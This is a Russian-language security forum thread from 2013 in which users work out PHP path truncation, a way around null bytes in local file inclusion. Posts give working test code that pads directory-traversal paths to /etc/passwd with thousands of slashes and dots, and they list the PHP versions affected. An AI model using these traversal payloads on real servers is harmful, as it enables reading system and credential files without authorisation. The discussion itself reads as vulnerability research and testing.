Старый 05.02.2013, 16:35   #1
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 144
Репутация: 25
Question Альтернатива null-байту из многочисленных /

Всем привет. Думаю все уже слышали об этой теме. Я в качестве первоисточника использовал статью Raz0r`а.
При воспроизведении этого способа локально столкнулся с тем, что ни на одной версии PHP у меня ничего не получилось. Похоже я что-то не так понял.
Брал версии: 5.1.6, 5.2.16-suhosin, 5.2.17, 5.3.1, 5.3.10, 5.3.21, 5.4.11.
Тестил на Ubuntu 12 x64 3.2.0-37-generic.
Для тестов брал следующий код:
PHP код:
<?php
$p 
str_repeat('/'4096) . "lllll"# C suhosin в конец добавлялась ещё точка, перед lllll, а число повторов было 4095.
include("/etc/passwd{$p}");
В принципе мне ясно почему способ не работает в 5.3 и 5.4 - с 5.3.1 вообще не срабатывает код
PHP код:
include("/etc/passwd/."
include(
"/etc/passwd/"
В 5.2.17(16) не работает
PHP код:
include("/etc/passwd/"
Но в 5.1.6 то всё должно работать. Или с 5.2.16-suhosin (где для реализации необходима точка в конце из-за Suhosin).
Скажите пожалуйста, в чём я ошибся?
Белый Тигр вне форума   Ответить с цитированием
Старый 05.02.2013, 19:49   #2
Лаврушкин
 
Регистрация: 05.07.2010
Сообщений: 27
Репутация: 15
По умолчанию

Насколько я помню, то с абсолютным путем эта штука не работает. и более универсальным считалась точка '.' )
Лаврушкин вне форума   Ответить с цитированием
Старый 05.02.2013, 20:48   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

Можно же слеши добавлять спереди, тогда это будет валидный путь с точки зрения ОС.
Beched вне форума   Ответить с цитированием
Старый 06.02.2013, 07:07   #4
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Попробуйте гляньте мою статью: http://intsystem.org/412/issledovanie-php-include/
В ней я как раз описывал о проблемах с точками, с колличиством слешей, и прочее...

В кратце, то при подобном подходе нужно чтобы точка оказалась 4096-ым символом. Грубо говоря вот как то так:
PHP код:
$path="/etc/passwd";
$slsh str_repeat('/'4095-strlen($path)).".";
include(
$path.$slsh."trolololo"); 
И процитирую из своей же статьи:
Цитата:
в оригинальной статье USH было четко написанно что использовать просто слеши не желательно, и необходимо чтобы в конце перед нормализацией остался символ точки. А просто слеши (даже без точки на конце) работают только в PHP c Suhosin.

То есть использовать слеш с точкой "/." - более универсальный метод, так как, в отличие от слешей "/", он работает для всех версий php.
Для suhosin точка не нужна. Точка нужна для обычных версий php, а вы делали наоборот.

Выше написали что мол при указании абсолютного пути этот метод не работает. Чесно говоря, в подобных условиях не тестировал, поэтому может быть и так (но сильно сомневаюсь). Попробуйте изменить путь на относительный. Также предлагаю поэксперементировать с добавлением несуществующей папки и последующим выходом из нее в начале. То есть что то типа:
Код:
/etc/passwd/../passwd/././.[.....]
/etc/passwd/dsfdsfds/../../passwd/././.[.....]

Последний раз редактировалось InSys; 07.02.2013 в 16:53..
InSys вне форума   Ответить с цитированием
Старый 07.02.2013, 08:16   #5
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 144
Репутация: 25
По умолчанию

InSys, большое спасибо! Сегодня руки доберутся до тестов и всё проверю. Похоже ошибка найдена.
P.S. И блог интересный, подписался
Белый Тигр вне форума   Ответить с цитированием
Старый 07.02.2013, 16:53   #6
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Не забудь отписаться о результатах. Интересно таки что было не так.

Цитата:
P.S. И блог интересный, подписался
Спасибо, приятно слышать =)
InSys вне форума   Ответить с цитированием
Старый 10.02.2013, 13:51   #7
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 144
Репутация: 25
По умолчанию

Получилось! Опытным путём выявлено что на Linux, при лимите строки в 4096 байт, этот трюк срабатывает на версиях:
5.0.5, 5.1.6, 5.2.0, 5.2.3. На 5.2.4 уже не работает. Т.е. можно сказать что на любых 5-ых версиях до 5.2.4 этот трюк осуществить можно. Код:
Код:
<?php
$str = "data/../../../../etc/passwd/";
$startCount = 2048; # 2048 повторов по 2 символа = 4096 символов
$result = $str . str_repeat("//",$startCount-(strlen($str)/2)) . ".php";
include($result);
В 5.2.4 уже не пашет. С Suhosin тоже не получилось проверить. В выше приведённом коде заменял "/." на "//" на php-5.1.6+suhosin - не работает.
С 4 веткой похоже не работает вообще. Проверял на 4.4.9, 4.3.10.
Утверждение о том, что с прямыми путями это не работает - верно. Только с относительными.
Ещё раз всех благодарю за помощь
Белый Тигр вне форума   Ответить с цитированием
Старый 13.02.2013, 17:15   #8
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 144
Репутация: 25
По умолчанию

Опубликовал сегодня у себя в блоге 2 скрипта для тестов кода на множестве версий PHP сразу. Может кому пригодится:
http://habrahabr.ru/post/169311/

Последний раз редактировалось Белый Тигр; 13.02.2013 в 19:20..
Белый Тигр вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot